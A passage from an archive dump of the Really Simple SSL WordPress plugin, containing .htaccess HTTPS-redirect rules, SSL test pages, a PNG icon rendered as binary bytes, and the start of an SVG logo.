RewriteEngine on
RewriteCond %{HTTP:X-Forwarded-Proto} !https
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/loadbalancer/ssl-test-page.html000064400000000237147510273070017620 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttpson/.htaccess000064400000000216147510273070016354 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/serverhttpson/ssl-test-page.html000064400000000237147510273070020137 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttps1/.htaccess000064400000000210147510273070016072 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTPS} !=1
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/serverhttps1/ssl-test-page.html000064400000000237147510273070017663 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttpxforwardedsslon/ssl-test-page.html000064400000000237147510273070022564 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttpxforwardedsslon/.htaccess000064400000000227147510273070021003 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP:X-Forwarded-SSL} !on
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/testssl/serverhttpxproto/ssl-test-page.html000064400000000237147510273070020673 0ustar00<html>
<head>
 <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
</head>
<body>
  This page is for testing SSL functionality.
  #SSL TEST PAGE#
</body>
</html>
really-simple-ssl/testssl/serverhttpxproto/.htaccess000064400000000220147510273070017103 0ustar00<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{HTTP:X-Proto} !SSL
RewriteRule ^(.*) https://%{HTTP_HOST}%{REQUEST_URI} [L]
</IfModule>
really-simple-ssl/assets/img/icon.png000064400000046056147510273070013657 0ustar00�PNG


IHDR]\���	pHYs��~� IDATx����mgY��w���>7	x��`�Z�L��xI���&��qƎ#-�Tg*`�v*�F;�Q�H��:C�8��h[�H��ގ\ɍ"(
$�,h"!����ֹk���}�z�~f2As�����Y������j�2p+�p���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������`“�O��_8e���^�j�z�|����E���:cV�+{�b�|bΥ>E�e�A�Qe�w����A��[����x��%X�V<��;w�µ����V�����
���TEϚDQ������׿��0�P��ax1���0��-�~�Gyp��������.��[��s���ӗ��V�*�ٛ��b�4���>_��Z��a�E�8{��A�`|]D���_.�߾X.��X,����-�"fC�$�~%��9{��b��c�.��;�6c�m���[�hĿNl%�}Q�+
�߼����\��4�-c�w-��r�~��a�[�It�nz��p9<A�P��vw᫓�u��8���|�W��0��l:}w�o<{��}�$F��+�p[��O��b�0���w�d6���dr��c�;Ϟ9��?'��������2[�J���]qpp�4Ķ0�l:�K��c�f��3�?�S E�K���Wk�����p>��U��;6�N�q���u��!t([T�ڱ�k2��I4!|8F�vTYزle�灥�K��tr|���a�.`�$
�6l�*�;��1.A`���>9�(	_����-�.`��;��I�:��]3½��H�l�ȿm	B�Ν���d���y��|���[�:�aw:�f�(��=`w��=s���ց�F�F,YJ|KQ�K����03u۳����丞��/%��������l�HR�z�N?)�H���I�[6l�8�;c��0e����{W��z#B�F$�ݲ������P���H!�T�n������s�/�]p�\���\��'py��p�]��e�$�+���x.YN�=@7�}'P�'�ܸ7�K'�ߓT�Xn<F�<v��1w�5˛d����O��.7>����r~by�Թ�^f��0�k��(�����Ji_�'�;��;���Ţ+'p��
^v�Z�/�;�m���>by�HհSC�����D��n4���C�<������1�Q�S�8���-^L��^�X^<P'p-\�f? �P����>w�µ���> t��P�TY�s�����I��o�-�[��$���	�#tV5�$��F;��.��s	7��v�=���ɤ�E���T���?���eQ�:B��E��N��(;R`�l�k�T���_W&��*A���b��d��)\�y^c���U.��2t�L�:�����.ŭC���N����_�(��kӪ^e����:c!��TL�e� ��U3l�^�ي���a!t��e�6p��L�(Z��� �#+��y��'���@r�b��>��ÃQ7Χl�ksD�rEO�I�bl���@�]@�Ν��2c̫��b>���b7��f/�-rQ���U�@�8{�Q����UW`��.���K�y���M���#'�;Ξ��&����gN�'E���$3�����:S1ܬt��a�p2h�A��z�G�.�?�
a�>�]�H۰���ڄ��$Z�7b'�}n���;�c��U�l���JWjsעi1."ۈ?���T�2nN����(���e6/�\�<'�f&�8���K�=6���f�n�6dvR�=��p���G��G�PT���:8؍y\Y�B���i�s1�5:V�IhP����t�]w����C��Y�y�����:_���P\�����(9w��s���7T{��.�rBWa0�_mv/n��s�/�&vaJ��2N��XvqY1���ذ�������7"���(!t:XV�!7t5�#�r��''��'�]�c����.+ɥō�c
��^��O8�y�1�J������������ ���"�-��g�ϝTx:;�m�}lD�}��0���s���C����8K����{�1�l�O��>{���~�s�/\k��6	����X���ͶBf���"�~��3���8B�I��?��̔z��N���ի(
���Q���3�s+Y]��w?���ry�b����b�
cz�����}O6x�a�y�r9�a�����j`7�����:��6��R�
���I�F��|��|@�1oy�3~�c��Q���շ/�o�/����/+����b���fS3�*ϡ<��oi���8�,s}��+��K�͎���C�(���$��[o|f�HZ��X,�g���t�X~���ڑ���Cݍ�n�?��&˺�!t�;���lgrن�{h:��y:����3�ݴ����+�w���k2��l:5���۰wb����o?{����.��.@X�*�*��)o��&��V�숐C�jW�ò�v˜�ȫ�c�\#��d�ؕW���~�7�ѷ�e������9�8���(
?��1Ҧ�����g������[�㈈0~m6�~�Vs��t�X,~����;$U^yʼn��}�N���>�]� *]��ZՁ��c�N���<qb�[��,;:�7=럜�;�(
�\�kfgg�udQ�)�T�AT�!u�r-�?��E;�ao6}���V���K������f�fo6;��{����mr
���]�*]��Zs����E�_qb�����?<���ڰ�Ȣ2}�qmi_�rM� tr*����#�.����؛�^�c�|W�<�oڛ�=o2�Z5ٷ�krN������T}%��<4�M�������#{|p˳O��l:}�d}�����}2y����+0rbo��/��Y�������ͦ�g��G|����.B ��t������x]岁k6{�7>�����}^�(��&����ݜ��t@����yY�\�"p�j��G�,�U��Fo����0�{��Љ���ʥ�k:��Q���go�*�����Ν��ܪz�;Ӱf(�ͦ����g~��H5����w��j��k�Ϻ��/�B�Mu���\���{i�o&i�Q�9^G�: tݔބl��U�(
b:���\�wΞ9}��l�5A���a������,-�N��q�b���f?��s����٧߼7����	��_����,1����*�\G��<���l�=gϜ~��E7a�t:���Z?p��� t핆��¿*�d���7>�c��%�����w�92��cS�Z"t-$�"Kw-�6&�.+Φ�;p)�q���wΦ�_O���î�\]l��v�
���B�NE�˻a�,+:��w��X���:a�h���Sz�YxV�
���0d�Gˌӟ��Í-��%��%�.��›��c":���zv+�s˳O���t��L��t�%F�Z t
%�,��"|E�Ϟ=s�s��Q�Dѿ�~�U��<�3H��I����]@s%U.{�W���fӟ�u���3��f�y���˨v
���
?���ӽ�*��;�\���.�Wl��4D��+����^-->:�D�uױ3�j�#��]E�5����/�� {Q�"t�]��7lU���hA�Z������7RĎ9����	���y���:�u}�����s�U�2���gٱ؋�������݃���n���H+��]@3�\��D�O�(��\��9{�����^,�v�,���]@3���g�� |��9�K�IA����ێ��oك��
W��v��s�#t��~����e��N�w
�2vV�_��~���uxx�h�m��_*]@�.���O���U��2L,-��.1FQ�>��V���o��.�t
��f��Ӟ
C5�	.��ؿ(?��E�99!�ҵ���������\�nE��e� ~��Q<���A�g��qP��/giѻí���5�ˀ1�E���s����j"t�m�\>�r��~�0?=�+�yv�7��^������"t5�����Q�j�?��z���.���o��r�F�-BВo���Q|���\
�/�0��o��Ѽ�\�!BВwK�G7y�*+#w_���mmT�X^j"t������Ң9Z^��\.{8�1t�7ӳ��D�Z�qi�����.��gN��e�˳��P��|\Z4GˋT�&}]4um��|\Z�
I���"t
����`\��_/:gt�
�.�!_�������\
2<��󱢯h��4�؞�
����o�%�@c�.�{���E����@c�.��Œ�9����B�����"��h����e,������eħ{@[�.@+T~�f]
]@Ma.}<�pe��:�BPS���lj�am��)�	/4P_��{��;��F�(����3���0\�fSspp�ݓ�Tz�BЂ
ZQ�ET��$���sxx����h�����{ڲ�+
#�X���=�3���u��<G���Ah��lp�L&f��f�!ˆ��g�������:!YeP��0PQ�mҘN��9y�Zrj�</3��_��#v?��#!;eo�!K�衁�x��a\4�]���O/x�B�/B ����*�.��~"t8������ tAS��T�K�.�ˋ��]�0�W7�#~r���]�h@��0���D��c�]�]$@M�.@��U]�pAH˜�����*�B �-��E,��p���v��
$@3Ǘ�g�{o���2c���)c�����Ҟ�o�2�,��ӯo���g�7��ܬ�j������s��Z���1˚����{{�g�<��_��1��+���98z�	�����h�y�s�1杓��{��B肗��|�1�-Ƙk:_��X,�j�ؾ!E�	���7!{�=<̿�I=Fʆ���r�7�hb�
<�n�6��f�7���+_K�^�q���I�ױɵ���=`�y��{�9�����7�j�ی1/�|�s[��Wߤ�ބl����alh�c��*t��5�
��䠢=�����/IW�9q���kq-�ljL���{��rOn���_(�"t�Iົ�b\u:hT���l���c����6�쵸�&��)[:2��}�G
+M��Ӽ�n���ʎ��ն"g_��Kͯ�m������{�@��.=>��_�H�t\v��T\k*���e��V�Z���9�F�?+���^�*��>gm�4�<�@/�Y�V'[,���u��~j��^{��x���������B�0���;:.���
qe�݄ZV;Vm�Cr�-m�Ҳ�*�����.��~]��
A���Q�p-BWnE҆/[�k�:^��~��E�ޛ�5�|��u�ٵUC�導�K�
v���qм:&���1ht���jٽj'ҿ�0p��9k��Ȓ\�5u����>yr�=�jyy�
*]��Z_c�-�>��g�tGd+���eШ���ue�{9p-�\����[&�e��|c^=��(F�څ���[��>}k��F�c����%���@3��@�8xƣ>�,�U�-`4�����o���_��0h��b�Y\v��ͧ,tI����"::�1u�J�ٍ'�\����^ZÙ\G�I�>d��eW�*����0X�.]�_��
'�%��b�A�
�8t��5n�GCV�=V����4�a�"�O���ޏW�P���L�S����5tI\O�d�`p��@]���Q?����¾ɛo��"������&����9m�K%*�ײc�	el�jR���.ά���G`Wi��1"�9TI��*0NzY��S�/~�jG�k��Ѝ�q%!���o�.t�W��y��@�@*�� �K%Tb��x7��J�oT��EfF���CI_�h�#=���ԍ�i%!4��
�����t<R#p
B�y�.���|�`*�$�!t�_�nA�[�v�����9L�;�/降`+���T�||�c��UW�A�N�9[.=��j�.�)
".T��W��e��$v�5]�3�7��2�A�٩t
��*+�Y��?���c��D��"���Թ}%r�mz�N僔�����P=L5߾��cD�R�ݡb���T�$ճ����p�9}]�E��/y7�������	��(��H.�5���\M�\B�k�D3p�=gu����`�pi���U�O�<F���hq�UrR�	�o0�Ճ&72W7��U.��.�f�Z��ˉ�M���O`���CG�_l��9��U!G
�����ԭ��GժrI}�]�T5K՜�%�ߗ#hr:��1T��]������f�^>I�crnr�T�]�ryvd�*�P�Tt��Z��֒�}��6лz��8�����K=���תB.�>7Y�U;#/?�ۃ��T����N��W�
��؎Mu'л8���20�B��r�_��8�!E�}�;#�	�Y��:���㴭���j�F��jVC��c]�
��^I+.CH�R���F=T.����H}�]v����F�}y��I�O���+���C]�B�+�88!�7Y}ce;#3��\UE�
]v���*�\z�r/�F5�������x������t������9����y5��Q�AUQE�
�w�),��������^e�q1:�>.�(B��.�$�\�����M���y5�-9:BfSi�K�q�m�����:�fbi�>UU.�3����]>�s�l��y�'�q�suv޴b���2�ʪ\R�`��Y�.�c�PZ��z}�����t���#ta�\��0<���n��d�X���V
BU�_*�fH5η����JÎ�#~�.�l��*`�ݥ�����\�.{��kڜpo��(
!�7�`�=l�*&}�ʓ��J[���&~W
�a�����0|����e�"���v�u�8o��j������6}\\�'o*P���`��U�
j,{;�Ѕ�˻��pwP��m��p�#��r�(��^J��)�e\\��q
!p��D�r���#�00�.�ry��%��	���&�|-�9+�Ꮄ �1�t�B
ŸX�i>�Ki�U�̓�S
=�k�5�W���m����'^���l�Q�P��Z5�U�)��2�){)y�Op�z�s����K�}v�ב�\} h��#t�iOH��}�j,ۻ�qޔ�P~�v!�U.����;ߴ�|e�\}�	�wNn�9Q/+28F���[�M�.��R�r�O�7���H����*W\iX�jz��WN�끇�/� IDAT7w����]2�\��֟��I{�ګg�9�����W�SO(���:6��Jˊ�~"0lAp`����ч,3"��^�Ug	�U��
]���t�j`�+}?\������y�o�<��K��$���/�]��+�+��j���[˾F.�^YVr�0lA�~׶U��;Ɏ�p}�K� �z�L^�K��k�`���1�����_����}�����1�7|Ҝ��A�ʗ\m��%Oj��
�{�
7v;�݋�J�4`�7���*W_M�9y�dm�n���V�z�х��;�Ԝ}�W�#_X����0_�ҋ�~�3��n0��<:��V
A��`�j߬.=nV����C��������KYkxd�.BǍ�&oj���򖺡��a����Ӳ����k'_߆��܃��k>��Z�$t9���A�K�6d�$�bm_���Nd�$n�۠Ɓ�]�Cܐ>�O�A2�� Ҝ�)�ᚗ�e�A�
_�lYQ{4F���Ys�k?#�>x���3����?{�������]��4�5,{��+�F��?�^�JFDh�7��;jY�Z���B�&��Gc�x��>�^iz�3qū,xQ���p��|��c�<�,�D���ٛ���=�*���y�sc�a4�ڵd�\b˛�*SsYqH���o����ެ�J����� t>,�(<�a�O��څ�!ta��O�C��kC�Jh<B��)�ڣ!2�FHU�6/1�����~��k(^�q��m��~[<�rس��6]��j2�A��Q��r��Zג.�	�Ԭ{��+_n�J��])�]*��H!ta�V�AOX�#"����|��{�Ǭu-b}\���!p��\jVz�z�#!s�0>�.�� 0��R�Iv�}�;�c��T���_�l�����Uv�z����Ƈw5��Jm	$�,�6"{-i/�Թ�A��X��M��R��𨟮=~6�59���j�-��s<u>�Б�{�:W�l�[V�I�!p����c��̙�k�H�!tC�B���}�.
2`��Ļ�*n��N��U{r}E���́���������ջH�����z<�@�
,���.p���%��y^b�U.���d��Ku�7�>���lY�U�U����i�e����
芽~;1�������T�0r�.`��'�!4Λl�M���j<��
Wܴ�I�+��c	\);1�kWn^����
�px�Ѕ���쟸Y}�ۙ�[�2�4?ʥH�x����ž�
Y�g��R��]��"��Ԯ>�"taw��x2��N�8V��M-���=�e�ٯW2���}2aouX���5pY���枋�o�ws{�*�
���!�L`�����}g%_�
f�����UL��ˊ6pI����3�l��s�J��fC@ވ��!i� 0r�.��
\өʁ�"Vf��7̨�reE"�:��Ptcu�LR]�TQ��o�B��.�F#$�FD��ʅ]A�¸�Gc	z�qէ�i�i����{���Pdׁ��첪
�9�sWW�ݿ�׵�l^(�q�ũraw�0^6pٝjvi �Ǩ���l�U�E��eϾ�9�y�ǁ+�i?/��}����}]y#"$OG#�\�|��8��+�)4=�7AfVӊU ��U0�u��;�1�ʕ.;@t�\��z3V�
EB�!.��΁��҅�	2=<6l`�U�� 	;e;�rI=ea� ͸�����>.������$�R+���JE��FT��[]����ˣ�sv��k��)�r�<��q��k���2���.�TU3��x����>U.�BF�8p���d�\6lԜG�R|C�\VL���c�����@�:R:�޾v��Oj<D�*v=]�xUz�h�8>��!�}U��밹������@�gm���x��ȑ?�5���*���ӜBF!\�����>	�w	�R��Dj�W�rf�y pմQ��yڬ��qx�Wy�!��;��ɼ����5���*�V��
\y}\���@��v�r�dڜ�&9"}���\�]����m�/��i�c���j���G�˾�g%�|�k�\��~�<��]s��j�� T��	���u�r-�C �����}6�����Ztr�WjW��`���R��[�L�����\9���*W����N�\��Y����ˋ��fø顺c?���� ���MǃX��PZ*�v�Z������o���k��O�r�����ϥ�
���yK�u��t	\��.�'3m~�fuǎ%�{�{�N�>6lN�W\E��1w��C�/���c�����CL[~�OO/<G�_rv��4�;����Jr��>6l��Rkr.�㲁�=�6/��?u
���'�]�q JO�lO���x�bB�Q���;�\T�]C�����k�L-W\%}\w��3��?�'�cϹ��M����%��VU.F��.xcm�|�bu縏��*W^�I�W�ϙ<�:/��-�����*��۟����g�}��m_��y/�ƨ@�^(���6�L&f��coI^�Y��o�#�3�>x�o��5Oڋ�����fH�Ց��P�PP��E���Z���L�JG8�Q�TJ��P��xF�Ѕ��?����O�7�t��}��v,4�?��%�λ?c��e>x��k}){��/2/��y�fCu��	��ҥv���>.W}o�ޯZ��i��R��7�P�b?H1�#D�°��ce�U�\�^2'
�u/ccI�?l~��y�o���z�3��l��
`�|ɓ��G�
��M����>���?ӽO}�fȶ�[��5w7߮q�����gp�Fz��Q����c�+��j+[���U��d�k�A�5/�h�z�ge/\P^���	\5��*2w��)k8��:��Ҥ��,.��~Rq�(���X�q�VuN���7�����\+;���
I�uH�u�o~fP�9d���u���Pk��덃�K�;�#t�K*#"���Bg`,3y?��<�۰i��l��6�B�uH��y�랼>�>=��񹘵�f4v����q�P/�G'�daaN��jȰU/[��=x��H�j���݊i�U�����V&kV�TE���8o�O'Χ7�E�G�ˁ�o��_P�!���	\���t7��M!��\�T�!t�/
#"�=G��*��E��c��W�����E��6������j�t�Wv*b����U�x�f�i6��E������%xm�q�곁�6��������R0�1z����A�.���s{��.����o
a`P�J���>.W}i�Zk��8�r�T�`kv*bG���#"r�け�E���G�C��P�+���>�����UOU��Cإy���ʃ�]�T�a�S��/8l7lk�ˊ+\���A����q����<�1�\&YZt=��>FE���N�ʰ���xDD��M�*�#��yޫ>2�r��>�4p��\A��e)�d���ϕ���:K���0xN{P2�ޏiW����'>�U�^�\4W3������7D�� taؖ�+�-��}�ʪU�����v�V�M,x%s��I�A����]6�S�G]�Mɴ�-��tox��~��/���/�D�+\�I擡�XQ���?T��BvR�r>�k���}\/�������L��
���A������C��!ta��6Λ�O�jǑ���������ZZ���$�A�t�pW����R�g]�-�γԪ\A`����ˊy���?��L�!��)W�����
��q�8����;œ�)�*�m��o��(�������v��&�l�뚫s�{��3�0q�*|D��nHvȕ��(H�6�z�x��W�����$�Ҫki�:���j;�������;��cR傇]�	�}\���c���ŏ?j��Q?�E���'7g��������Mq����k`�]���*U��َ��p&W����'3g����#_ p�1��S�X��R�Cx�w.ƭhj�~"w}�Y?���xg�ti�뽟%p50��Cݸ6��ux�q�r�c,�c���fhT�6�6/�X�
^�x�'p%~��W�sov��;����cT��9BF��q>�Q��QA?�\�ԫ̹7~�Wޑ?.�f�*<�G�R<�qs�cC��ʥ`{D�m��\��W�so~�e?Hh�q�\*]�����b~4�ˡlW�a�\��7?͜���2;�#���U.�0.�)o�O�݆��@�sn8i����6��Q��2T�0��1*EY�q]�*9j��'��3�.n���?s�99s��VD6�(�q�\BF�nu�i�+��+뚯 t�
\w��k�ƖH8�ri�q�\�����Қ��*W^צ�O��r���C�NOTg�0�H��˔U�����Y���cV+~�0h�.����t��,���r�U��ȯ�ꫜ]�/��n�%���#����eC^�ϔ
[�.U��J��g��n�zD��T�bq���w[g�d�E7�rt���W�<��j��l.�s�6�gʆ>��M@�^f5w	����/�;&c˥���=��u`�n��_\�R��x�r�v��)R6�iN8B肿*�^��Uk�d�;t�S�4_u5� ���������w��C@�.�蓉�a���\ڡp��?�5����\�>��b~�4�ʗ<��`x���/5w���֮+>�S���OW-��(�^�ެrٟa;���	j��������6�wn��K�ɫ<8�����
�Iv�i.�������@`?T(/�m~�R�
8F�wM{�w,:�r������{��+_r���>�׿������2ݬ}�~8��k�ʥ8�p���4��J�qh�r�7�4�=�Jހ#�C��̝��)ەP�A�Gˊ��K��ߕ��rkU.�!��B�Ѥ��8\�i�
n\w��'�]᭯{r��*���P��o�BKO�iZ]�C�>.WU���X�/�<�ٝ��&�q�������`�95Hv�ztĐ٨r�Dž1"t����*W�A��e��߱7i����+~�I�95�L�~,O�\�qa�]���y�Q�r���Y�Ν�{2��cǁ�(�k�\��Ѵ�ˣA��U.��0b�.[4Z�3������H4]�$x�i-p�s�A���|�r�Dž��Dv[4�s��r5a��6qg����~V�{��U������
��4�hO�� �`EƎJ��A�+�ix�J��*^~X\���jN\��2�r�OxI�\�qa�0*�U��?��E���	^ö���	���m	6v�)6�w/�.��qa'�0�U�lL]qO�̍��5L[�+�9��$�G�F��q*�q5�I�"� ��� �!�F��hH�Xl:,&ܿC����U���Y�ڨ��=�[��%~f��))�a�h��8,�)X.*�y�����Ͻ���a�kl�&o���pi%ݬ�ٟ�a�I�~+ahV��$�s�x�3�*]���S�Sw�Q��Oa�*Y~֪6mVcի\
7����-����5�J= t��U��S�c
[�	^�
�}�D7z�k�8hd��q�Koj��]�jR�j_���]����=�*W��C�%����a��)J��S�?~�ai������~�<^�h�e��V^�.S2,W)��UcW��A�����
����	/�ZV�i��˝�UT
U����JK�Ǐo�n�~�`ʲ"�B肿�
m��<T��%�*p�UCU��_��<� ���͆�}#t�O�U��Y����D�S�Jfri���j����ߘ�>hd5>B�$Y�j�˻�*W���:��lv�F�.��jU�����U�<tW�w-�#X�j��8�����j���~��q?E˚Z�?�0�B��]�X�L�eš�|�^�]��+�W����\E�<��\��!�r�j#U.x�.D�E0�t�	�vT_�N=�⸧�d���q?}�<^V�z�
T��3>.�+Ra�˲��rRT���\��y�.��ډ��wKfB���U]��s�.�C���q��P�\Y�b�WY8W��U�4f�]^V�x������o�U�
)���|�O��mMW�	�q?nCHi��A��P�c�߿���"��1 t�BKz��]W�4�.k��fr�td��R��CcLD�w��a�T�0�.xA$�=[1���AG_���<p��`&�FCy�&���kN�=U.@��'vڞ��rV�U
���ʉ
^���˝}�!k���%hLJZWVc]W�6>����ȡ�BO�~��>.�\ә������_gn��ng`�����r�=U��4�l�'��@�[s�5ƄЅa[.�:��/�&^��O�AZQpyc��������6������S9;n�xl�Ƈ�AT�8�#B���5�c�;��ݖ�*W���IysYu�W��U���q/U�MN�+�Np�U.�
��V�]����
���>F΍|��n���?�q�Z�v�s�F�R\�rW��ZV�}�"U.���U�]��O���*N����ݚc^6p�G!5R���:GR���
���\#BF��⺜T727���y�9���:p�I��Ukv�����x�f%�\)BƩ��U���n:���j�1�.��r��S�,+�^��YVu�a�&�\+BF��rM'7������W���}�^�M_��z\�M�o�ޯj�(���]W��O�*�Ê�f����\1BF��Q?1U�쒟�)��n9���*�Kr��.�cU7xק�y�:�����T�0f�.���m.�پ!g�b6�z�ļ�g��&xu\5n𫃃�_�T�eE㲁>o	^� �2T�0r�.�J�\�Q�+{�uT=���}	^�+�ԛ�e�]��o�c"��a�T�0v�.���L.�ʕ����\�KU߻� x�.S}J��e�&��Ϊ\y3�\n��*v���y&�qS�Z�ɺ��	j�
\��Q|\U���V��D�$s}2B�\��.�Bl�.+��rm��'����-x��>�\
v�:;�3o&Y�G���k���_�g��1�y��D���\�Q�+[}s�+�t����8��I2pU����hW��1?+�l����p��c��+pq��yv ���I���MVz�&>J����=����uO�J.pU�c��q����Gc"rV\���Jv���s t�oB���U�͛��YvaP�D&"����G�z�
'͹�|�L�q܏��o�g�N���~V�>�g#<%�.xM�y�E�k�&+|c�QC��I;x٣�lO٩�dW�7G�<7��hLDQH�`�F��B<F肷���ū\�=C�7���u�~9�Mi�O9}h���JfI��t���N�\E}l�\�]��~�<o��\y=C�7s{�������W~�k�C�]X\��<wU��U��Ტ�1%}l}��B�$�kO�ʵ��'y3���L�|w����k+p	����A�������Z���m��C��8»�	�&W����݄�G�7��U�V�zAT2xm.#��T���E������a�u_�!	�N]�B�w��,e�(RU��%��y��Ik
���^����T�z�r�	��D~�}�Ӗ��:�
�~�lـd�+o7a��%n���)Ӧ��K�*\�������=*�@_R��ȟV�T�\!t�+b=M�����z���u����=���)\F�U5U�1�<fc"
���#Z
&,-��.xClD��ŢÃ��hZ�u����/3w��ߩ�g��jչS9�A����%^y*���~�O[!��#t��#"$wm��d�z��*h.u
:���q�7?��a*Q�$Bq�Fv�*W������U��略E��^�!�I��&+����t��Iu�o��0xU�8t!�T���vY�ՙ�E߻��\qՒ[Ɓw2�/�!V�(��
�������m�ڨ,���%��r�*W��c"�*Ž��`i#��[����#
B�D���1?�xY�C�	�0C�IDAT�_#�N>qb^��l^�M_R�L����ʊ����5B^�1�G9I��]�B�-.�5�K�p(��y#׺>/Ugڰu�/~���+N�!�F��U8�m���c�rLQ12,/b؂@��Xr�C^%�k��t���b��.�K͐X�$Bq��*��ǫ�.c�s�D�~�>������f��E7Y��zW�?�a9T2$
�a��\��������|�rq�"Ɔ�E�������r�}������(���]����*W��)~�z�o���e���ܬ�!��Qs���X�BFOnPi����w۵8���AT��,�9ٱy�Nl$�<�W��T����0�tT��Ps���ڭ�^�8����a�@|D��I�p(�D��8j��e�.�,%�%z�j�u(���,L�[ٵ8��*�צ�P�i5;�ЅQ9�h���L�^�G:]VTh�7N!�b)8��bR��U.�����u�����c�!�1^B7���]��m�R�:߹�LrYQ�y>B��B�ԵTN_��I�L��ߣ�O���҅���
��^��uYQrP�D�N��r�9ϱ������n�A#ta��e+�*W�������IJb���,�^��P��%Ь-�WVu��G�#F��H�p��m��ۮh��K��;6�gŽp
��\eI��Np��V�K�Qr]�NɁ�ݖ�z�ߒ$��6�gu=.�n�T#yUU�.�*Wu^�̥H]�0B�E��UTI�[��yBˊR;,���l�"�,w�zE��@F�a��0.BU����]n⽌���I�Tk���rI-/������"=lQdV>��Ѕ������&�ˆ�Z�[QdDD��
�`��r��+�'=&�Ӄ$]�8BFC�����哿hOT]CZV�8_�n��{Al��ه�Z�p�>��Ѕq��bvV\��qYQ�<Ȯ�+6�:I����U�$z�lE�.-2np�ЅQ�r��t8���^�Բ�Tÿ����K�y$�=�gK�T�j�7e��g��XC���\���i �c�޲��qI���v���ժrI�$˷b��B��v�U����$��M�x"�ʜ�qI���nM�*W��f�]�I�<��6B��T�5Y~�7J���'�<׬�L����� y�z�x�f��;�� wLCU�<�.xMf�Z��Q�S��5�H�I����ԥ��iթc�߭9�rU�7�V��M��i�<A肿$nM���1>����/��y��(;W�V��[SbNX�*W��t�V��,�#��!t�["U���W�04�މ�
���G�Q��1�e�Pp�S����3��V]Sם��%s�1ix��K�5`�I��ա�W�zؙ�ghˊ]{�ڼ.]�J
���"�cej�v�ix�:�(
�+��#*]�H�k*8�/�E�e5�3:�T�4w���>�V��D[�b�gix���"t�?"ǫ<����h'��f���*c=:���g�)(eCb�}6�J��h_vBbD]���m��}\]N֑�z��[�$�6�7]"uqZ����Z}��R�1��<�1�P��#	8Ļ~ح��m�Y�*
һ�6�v�<xu��5S�'O���q�fZ���?�81`%4\5�P�}"t�/�2}�В$q��㾩xٮџ��������Ųj��u�\'�eLu�y�;1@��>���JF�w3�ҹ� �S����a.+f5�
VݢI���H��]��iU��l"��e�����N_���f�+�va$t=V��I��
���0�������{\�����FG;;3� ��rT��<�T�ʕ�Ju�?�{/�������e?(��c	��ot���jꐈL�W�@0�U��s����Q�e��
Xj��t�sU�d�.��F/c�*W�{i��Ÿ�k_{�(
x�Ѕ���1�M��'v�IGѣFd�'���t�g6M^R���q{����MT�6a�q�^��� ��z�9�&�G�&�<s[_����Y.�*���[?6� ��i�b4�( t( t( t( t( t( t(`8*����17�*�ᾳgN?���"ta�l�����1�n�(ˋ
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
]
��j����.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.�.׌1��C�0;�I�IEND�B`�really-simple-ssl/assets/img/really-simple-plugins.svg000064400000014216147510273070017171 0ustar00<svg version="1.0" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" viewBox="144.53 46.14 935.27 96.86">  <g transform="translate(100.000000,180.000000) scale(0.100000,-0.100000)" fill="#3c434a" stroke="none"> <path d="M531 1323 c-5 -10 -23 -62 -40 -116 -31 -97 -39 -173 -22 -205 6 -12 3 -37 -10 -76 -31 -90 -9 -166 63 -219 40 -30 122 -25 232 12 116 40 163 41 199 3 56 -58 53 -138 -9 -210 -42 -50 -91 -73 -157 -75 -51 -2 -52 -3 -55 -35 l-3 -32 55 0 c113 0 219 68 261 167 26 60 22 144 -9 197 -56 96 -133 108 -317 51 -111 -35 -112 -35 -148 -18 -47 23 -67 64 -55 112 7 28 14 35 29 32 90 -16 127 -12 240 25 63 21 115 42 115 48 0 6 -16 27 -36 47 l-36 37 38 35 c33 30 37 39 28 54 -18 30 -44 27 -80 -8 l-34 -33 -50 49 c-28 27 -50 54 -50 59 0 6 14 25 31 42 55 57 12 100 -45 45 -17 -17 -37 -31 -42 -31 -6 0 -23 14 -39 30 -33 35 -41 36 -54 13z m154 -204 c96 -96 99 -101 80 -115 -21 -15 -108 -44 -134 -44 -29 0 -81 40 -98 75 -14 30 -15 40 -4 77 19 63 39 108 48 108 5 0 53 -45 108 -101z"/> <path d="M2770 983 c0 -153 5 -284 10 -305 17 -58 50 -78 131 -78 l69 0 0 35 0 35 -50 0 c-38 0 -52 4 -60 19 -6 12 -10 123 -10 290 l0 271 -45 0 -45 0 